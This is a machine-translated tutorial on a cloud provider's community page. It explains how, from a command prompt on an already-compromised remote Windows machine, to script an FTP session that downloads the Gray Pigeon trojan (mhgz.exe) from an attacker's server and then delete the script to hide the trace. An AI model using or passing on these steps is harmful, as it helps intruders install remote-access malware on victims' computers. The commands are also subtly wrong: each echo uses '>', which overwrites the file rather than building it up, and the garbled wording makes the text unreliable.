How to download FTP files in cmd of a remote computer

Source: Internet
Author: User

In the CMD environment of a remote computer, if files cannot be transmitted through the IPC $ channel, only files can be downloaded through FTP.
Assume that we already have an ftpserver and a gray pigeon Trojan file mhgz.exe. We should know three parameters of the FTP server:

1. IP address of the FTP server, for example, 1.1.1.1
2. FTP Server Username: for example, test
3. password of the FTP server, for example, test123

Enter the following commands in the CMD mode of the remote computer:

1. Echo open 1.1.1.1> test.txt log on to the FTP server
2. Echo test> test.txt User Name
3. Echo test123> test.txt Password
4. Echo bin> test.txt
5. Echo get mhgz.exe> test.txt download the gray pigeon Trojan
6. Echo bye> test.txt disable the FTP server

After the Upload Command is input, a test.txt file will be generated on the remote computer with the following content:
Open 1.1.1.1
Test
Test123
Bin
Get mhgz.exe
Bye

Run the following command on the remote computer:
FTP-S: test.txt is intended to read the scripts in test.txt and execute the ftpcommand. After the command is executed, the gray pigeon Trojan file mhgz.exe will be downloaded to the other computer.

Del c: \ test.txt

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.